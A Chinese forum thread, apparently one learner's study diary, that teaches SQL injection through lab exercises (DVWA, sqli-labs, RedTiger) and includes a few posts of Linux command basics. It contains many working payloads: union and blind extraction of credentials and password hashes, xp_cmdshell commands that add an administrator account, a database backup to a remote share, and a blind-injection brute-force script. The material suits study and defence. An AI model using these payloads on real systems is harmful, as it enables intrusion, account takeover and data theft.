安全矩阵

 找回密码
 立即注册
搜索
楼主: Pluto

李佳瑞学习日记

[复制链接]

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-11 23:40:15 | 显示全部楼层
判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。



我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
首先,判断环境,寻找注入点,判断数据库类型,这个之前已经了解了
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
© 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-12 23:36:05 | 显示全部楼层
SQL注入常用函数
我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间

中文处理方法
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。

下面是看的比较高级的内容
利用系统表注入SQLServer数据库 :
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-14 00:10:51 | 显示全部楼层
原文链接:https://blog.csdn.net/helloc0de/java/article/details/76142478
GET与POST
进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。

在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。

GET - 从指定的资源请求数据。
POST - 向指定的资源提交要被处理的数据

1.get方法特点是参数直接从URL中传递
常见形式:
http://www.test.com/index.php?[parameter1]=[value1]&[parameter2]=[value2]

即:在URL文件路径后加上“?”,然后附加上要传递的参数和值。

2.post方法特点是常以提交表单形式传递参数
常见形式:


用firebug查看两者的区别:
get:
https://redtiger.labs.overthewire.org/level1.php?id=1

post:

post注入多为字符型注入,需要注意引号闭合。
正文

本文以RedTiger’s Hackit两道简单的SQL注入为例。

1.简单的get注入

第一关

URL为:https://redtiger.labs.overthewire.org/level1.php

点击Category:1 后,URL变为:https://redtiger.labs.overthewire.org/level1.php?cat=1
且出现文字:

是以get方式传递cat 参数,进行判断是否存在注入点:

https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1 正常

https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2 运行异常


看来存在数字型注入,利用order by 测试出存在4个列:

https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 4 正常

https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 5 运行异常

(此处可直接利用union联合查询进行判断列数)


构造union联合查询语句,找回显:

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,3,4

发现3,4 处存在回显


且页面中有提示:

得知tablename为level1_users,并根据页面所要提交的信息为username,password 猜测列名为username,password

于是构造payload:

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users

得到username和password,提交后get flag。


本题实现的是通过SQL注入进行获取敏感数据。


2.简单的post注入

第二关


URL为https://redtiger.labs.overthewire.org/level2.php

首先发现URL中并没有以get方式传参,根据题目“一个简单的登录绕过”,
且提示“条件”,考虑到本题是post注入,于是构造万能密码进行绕过:
username任意填写,password 为' or '1'='1

此时用firebug查看可以得到如下信息:

结果成功绕过,get flag。


本题实现的是通过SQL注入实现登录绕过。


总结:

基本可通过get和post两种方式进行SQL注入(只是最基础的两种方式,还有如cookie注入等等注入方式),get注入是直接通过URL进行注入,post注入是通过提交的表单信息进行注入,且get方式注入数字型和字符型注入都存在,而post方式注入多数为字符型注入。


SQL注入基本流程可概括如下:

1. 判断是否存在注入点;

2. 判断字段回显位置;

3. 判断数据库信息;

4. 查找数据库名;

5. 查找数据库表;

6. 查找数据库表中字段以及字段值。

————————————————


原文链接:https://blog.csdn.net/helloc0de/java/article/details/76142478


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-14 23:33:40 | 显示全部楼层
本帖最后由 Pluto 于 2020-5-14 23:45 编辑

今天还是练习SQL注入
打开DVWA也面,登录,然后修改DVWA Security等级为Low点击submit
然后点击左侧SQL Injection,出现一个输入ID查数据的文本框,点击网站右下角的View Source可查看源代码

可以看到SQL语句为SELECT first_name, last_name FROM users WHERE user_id = '$id';用户输入的字符串存在$id变量中,可以看到上面没有任何处理用户输入的字符串的函数,因此可以肯定这里存在SQL注入,我们仍然可以输入'or 1#,是SQL语句变为:SELECT first_name, last_name FROM users WHERE user_id = ''or 1#';从而查询到所有的first_name和last_name

SQL注入分类及判断(
原文链接:https://blog.csdn.net/qq_32261191/java/article/details/80801052
事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里是字符型的注入同时也是GET型注入和表单注入,数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like '%1%'。
在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以我们可以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,读者可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。


GET型注入很容易从URL中看出来,如图,网页的URL为:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1,浏览器通常使用?来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数
SQL注入方法

注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码

联合查询注入

POST型注入和Cookie注入需要插件和工具才可进行

联合查询注入也是用的非常多的,可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,由前面实验可知这是字符型注入,所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到3时出现错误,如图,说明当前表有2列:

接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#;

接着构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#;

我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#;


查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#;


查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#;


查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#,如图






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-15 23:34:36 | 显示全部楼层
今天看了下linux系统的基本操作
打包及解包:tar
是将经常重要的数据归档到一个大文件中,也可以把文档解开恢复数据
tar  [ 选项]  打包文件名 文件
常用参数
-c  生成档案文件,创建打包文件
-v   列出归档接档的详细过程,显示进度
-f   指定档案文件名称,f后面一定是 .tar文件,所以必须放在选项最后,注意:除了 f 放在最后,其他两个参数随意
-x   解开档案文件
bz2压缩格式
压缩用法:tar –jcvf 压缩包报名 文件
解压用法:tar –jxvf 压缩包报名
zip压缩格式
通过zip压缩文件的目标文件不需要指定的扩展名,默认扩展名为:zip
压缩文件:zip  目标文件( 没有扩展名 ) 源文件
解压文件:unzip  -d  路径 压缩文件
文件权限的介绍
rwx         含义
r         read 表示可读取,对于一个目录,如果没有r权限,那么就意 味着不能通过ls查看这个目录的内容。
w         write 表示可写入,对于一个目录,如果没有w权限,那么就意味着不能在目录下创建新的文件。
x         excute 表示可执行,对于一个目录,如果没有x权限,那么就意味着不能通过cd进入这个目录。
拥有者、同组者及其他人的权限
u         user 表示该文件的所有者
g         group 所有者和拥有着属于同一组,即用户组
o         other 表示其他以外的人
a         all 表示这三者皆是
权限的增加,撤销与设置
[ +-= ]                  含义
+                            增加权限
-                            撤销权限
=                            设定权限
格式:chmod u/g/o/a +/-/= rwx 文件
如果想递归所有目录加上相同权限,需要加上参数“ -R ”
查看命令位置:which
which  命令名称
注意:which cd查看不了命令所在目录
          which命令分为内置命令和外部命令
         cd 属于内置命令
切换到管理员账号:sudo -s
一般不需要切换到管理员账号,需要使用管理员权限时在命令前面加:sudo
退出管理员命令:exit
查看当前用户
whoami
还有些 明天整理
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-16 22:02:04 | 显示全部楼层
今天看了下SQL盲注 下面是昨天剩下的linux整理
vim的概念和优势
vimUnix及类Unix系统文本编辑器,类似于windows中的记事本
优点:类似于vi,功能强大,高度可定制的文本编辑器
vim的三种模式:命令模式,编辑模式,末行模式
vim三中模式的介绍
命令模式:当启动vim,便进入命令模式,此状态下敲击键盘会被vim识别为命令,而并非输入字符,无论用户在什么模式下,只要按esc,均可进入命令模式
编辑模式:在命令模式下,插入命令 i 可进入编辑模式,该模式下,用户输入任何字符都被 vi 当作文件内容保存起来并显示在屏幕上,按 ESC 可回到命令模式
末行模式:在命令模式下,按冒号 shift+:进入末行模式,显示到最后一行,等待用户输入命令(将缓存区的内容写入到文件中)
进入编辑模式
i:插入光标的前一个字符
I:插入行首
a:插入光标后一个字符
A:插入行末
o:    向下新开一行,插入行首
O:向上新开一行,插入行首
进入命令模式
ESC:从插入模式或末行模式进入命令模式
方向键上下左右表示向对应的方向移动
gg:光标移动到第一行行首
G:光标移动到最后一行行首
x:从前往后删除一个字母
X:从后往前删除一个字母
yy:复制光标所在行,p:粘贴
dd:删除光标所在行
u:撤销   ctrl + r 反撤销
进入末行模式
shift + : 进入末行模式
wq  保存并退出

回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-17 20:04:38 | 显示全部楼层
1、寻找注入点(也是以网上一个例子学习)
输入id=1 正常;输入id=1' 报错,说明存在sql注入漏洞。
尝试在URL后添加id=1'回车,页面报SQL语法错误。
根据报错信息,猜想输入参数的值被放到一对单引号之间。
猜测后台源码中存在类似于如下的数据库查询语句
  1. SELECT * FROM users WHERE id='$id' LIMIT 0,1
复制代码
2、使用order by 1-99查询该数据表中的字段数量
输入id=1' order by 3 --+ 正常;
输入id=1' order by 4 --+ 报错,说明该数据表中字段数为3。
原理:select * from table order by n 表示查询结果按照select里面的第n个字段排序,如果表中只有3个字段,则我们order by 4查询时,因为没有第4个字段,所以报错。
在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面。由于是将数据输出到页面上的,所以可以使用union注入,且通过order by查询结果,得到的字段数为3,所以union注入的语句如下:id=1' union select 1,2,3 --+     
页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。
可以通过设置参数ID值,让服务端返回union select的结果,例如把ID的值设置为-1(输入?id=-1' union select 1,2,3 --+),这样数据库中没有id=-1的数据,所以会返回union select的结果
返回的结果为2,3,意味着在union select 1,2,3中,2和3位置可以输入mysql语句。我们尝试在2的位置查询当前数据库名(使用database()函数),构造Payload如下
  1. ?id=-1' union select 1,database(),3 --+
复制代码
页面成功返回了数据库信息,得到数据库库名为security
4、爆数据表
得知了数据库库名,接下来输入以下payload查询表名。
  1. ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
复制代码
(这里我发现我对这些不怎么熟悉,下面整理了一下相关内容)
5、爆数据列(字段)
现在,已知库名和表名,开始查询字段名,这里以users表名为例,构造payload如下。
  1. ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
复制代码
6、爆数据值
payload
  1.        
  2. ?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
复制代码
知识点:
(1)在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
  • SCHEMATA表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAME。
  • TABLES表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
  • COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
(2)需要记住的几个函数:
  • database():当前网站使用的数据库。
  • version():当前mysql的版本。
  • user():当前mysql的用户。
(3)group_concat函数是典型的字符串连接函数。group_concat(table_name)表示把table_name字段的值打印在一行,逗号分隔(默认)。
(4)0x3a是:16进制的分隔符,比如在爆数据值时,(username,0x3a,password)表示(username:password)。
(5)--+中,“--”是SQL查询语句中的注释符,“+”在URL中表示空格。

information_schema.columns包含所有表的字段
字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
字段
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
字段
schema_name 数据库名
2.有回显的SQL注入:
执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入
查询语句
$id=$_GET['id'];
SELECT * FROM test WHERE id='$id' LIMIT 0,1;
判断字段数
?id=1' ORDER BY 3--+
判断显示位
?id=-1' UNION SELECT 1,2,3--+
利用函数获得信息
?id=-1 UNION SELECT 1,(version()),3--+
爆库
?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT来定位查询,一个一个爆数据库
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()实现一个显示位爆出该字段下所有记录
爆表
?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+
爆字段
?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+
爆数据
?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+
---------------------




回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-19 00:12:44 | 显示全部楼层
本帖最后由 Pluto 于 2020-5-19 00:14 编辑

SQL盲注注入——布尔型(原文链接:https://blog.csdn.net/weixin_407 ... le/details/81355856)今天就是参考这篇文章学习了一下,没有自己操作,中途很多东西都查了资料
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注
本次主要是基于布尔的盲注。(前面在dvwa中也有了一次练习,但都是ascii不是很容易理解)

  1. Length()函数 返回字符串的长度
  2. Substr()截取字符串
  3. Ascii()返回字符的ascii码
  4. sleep(n):将程序挂起一段时间 n为n秒
  5. if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第
复制代码

当然如果上面的函数被禁用,也有相应的函数替换。可百度

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

  1. http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
复制代码

当前数据库database()的长度大于10,返回true页面,否则FALSE页面

报错型:构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句)
payload(有效载荷)就是对于接收者有用的数据

列如典型payload:
  1. Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
复制代码

count(*)计数   concat()连接字符   floor()重复数据,返回0,1两个值  group by 进行分组 rand(0)避免数据重复造成的错误

时间型:通过页面沉睡时间判断

通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据

  1. http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))  --+
复制代码

如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture 沉睡10秒,FALSE 沉睡4秒


布尔型详解:

测试页面:

get一个参数 id =1,返回TRUE页面

注入测试加单引号id=1',返回不正确页面。

到这里初步确定单引号存在注入,TRUE页面有’you are in...........‘,FALSE页面不存在’you are in ........‘

源代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";验证确实是由于单引号闭合导致注入漏洞。后台执行结果SELECT * FROM users WHERE id='1’' 原因单引号在闭合后还存在一个单引号。会引起查询报错


知道为盲注布尔型注入,利用上面的函数进行猜解


猜当前数据库第一个字符:(下面代码还需进行编码)

源代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";验证确实是由于单引号闭合导致注入漏洞。后台执行结果SELECT * FROM users WHERE id='1’' 原因单引号在闭合后还存在一个单引号。会引起查询报错


知道为盲注布尔型注入,利用上面的函数进行猜解


猜当前数据库第一个字符:(下面代码还需进行编码)

  1. http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#
复制代码

利用二分法(这里不会),115为fal,114TRUE,数据库第一个字符ASCII为115,即s同理修改substr(database(),2,1)可猜第二个字符,之后同理,当然在猜数据库字符前也可先猜数据库长度:length(database())

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 这条语句在后台为:

SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(后面单引号被#注释掉)

后面的表,列,字段猜解在上篇有介绍查询语句(二分法这些不太会,还要ascii不熟悉)

  1. http://127.0.0.1/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#
复制代码

其它就不一一写了。

接下来是自己写的Python脚本,爆破数据库长度和数据库


  1. import requests
  2. def database_len():
  3.         for i in range(1,10):
  4.                 url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
  5.                 payload = '''?id=1' and length(database())>%s''' %i
  6.                 # print(url+payload+'%23')
  7.                 r = requests.get(url+payload+'%23')
  8.                 if 'You are in' in r.text:
  9.                         print(i)

  10.                 else:
  11.                         #print('false')
  12.                         print('database_length:',i)
  13.                         break
  14. database_len()

  15. def database_name():
  16.         name = ''
  17.         for j in range(1,9):
  18.                 for i in 'sqcwertyuioplkjhgfdazxvbnm':
  19.                         url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
  20.                         # print(url+'%23')
  21.                         r = requests.get(url+'%23')
  22.                         if 'You are in' in r.text:
  23.                                 name = name+i
  24.                                 
  25.                                 print(name)
  26.                                 
  27.                                 break
  28.         print('database_name:',name)
  29.         
  30.                
  31.         database_name()
复制代码

表,字段,改下payload就可以跑了。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-19 23:52:46 | 显示全部楼层
SQL盲注——之延时注入昨天是布尔注入,今天是延时注入(时间盲注)(原文链接:https://blog.csdn.net/qq_35569814/java/article/details/100178344
理解:

延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据/

应用场景:

延时注入的应用场景是,在我们输入and 1或者and 0的时候,页面的返回无变化,这个时候可以通过and sleep(5)来判断一下页面的响应时间,相应时间在五秒多一点的话,说明此处可以使用延时注入

相关函数
延时注入会用到布尔盲注的所有函数,包括:length()、substr()、ascii()函数

if()函数:

if()函数,顾名思义,这个一个条件判断函数,所以

if()函数有三个参数,其用法为if(a,b,c)

第一个参数a:判断语句,返回结果为真假

第二个参数b:如果前面的判断返回为真,则执行b

第三个参数c:如果前面的判断返回为假,则执行c

实例:select if(1=1,1,2)和select if(1=2,1,2),如下图

sleep()函数:

通过在语句中添加一个sleep(n)函数,强制让语句停留n秒钟

实例:select 1 sleep(5),如下图

注入实现

延时注入用到的函数length()、substr()、ascii()、if()和sleep()函数。


这里直接用数据库阐述原理,在实际中,如下面的例子注入点为id=1,我们已经无法使用union来直接查询并且正确页面和错误页面一致,我们无法区分。此处我们需要用到关键字and,我们知道只有and前后的条件都为真的时候,数据库才会输出结果。


判断数据库名长度:


首先我们来判断一下数据库的是几个字符,用到length()、if()、sleep()函数,此处选取的数据库名称为test,如下图所示当判断条件为等于4时,输出为Empty并沉睡五秒,当判断条件不等于4时,输出了我们查询的数据,这是因为如果不为4,if函数返回后面的值1,and 1为真,所以数据库名的字符个数为4。


实例:select user from test where id=1 and if((length(database())=4),sleep(5),1),其中(database())为子查询,需要加括号,如下图

猜解数据库名:


我们已经知道了数据库名是四个字符,接下来我们可以使用substr()函数对数据库名的字符一个个截取。在通过ascii()函数判断字符的ascii码值,第一个字符的ascii码值为116,第二个为101,同养的步骤,第三个为115,第四个为116,然后和ascii码表比对,发现数据库名为test


实例:select user from test where id=1 and if((ascii(substr(database(),1,1))=116),sleep(5),1),如下图

其他步骤:


其余步骤与布尔盲注一致,在现在的语句基础上替换database()子查询即可,布尔盲注见上一篇文章


知识扩展

MySQL中除了sleep()函数外,其他的可用于时间盲注的函数或者方法


BENCHMARK()函数


语法为:


BENCHMARK(count,expr)   

BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。

其具体实践在另一篇,非常规注入文章中有


笛卡尔积


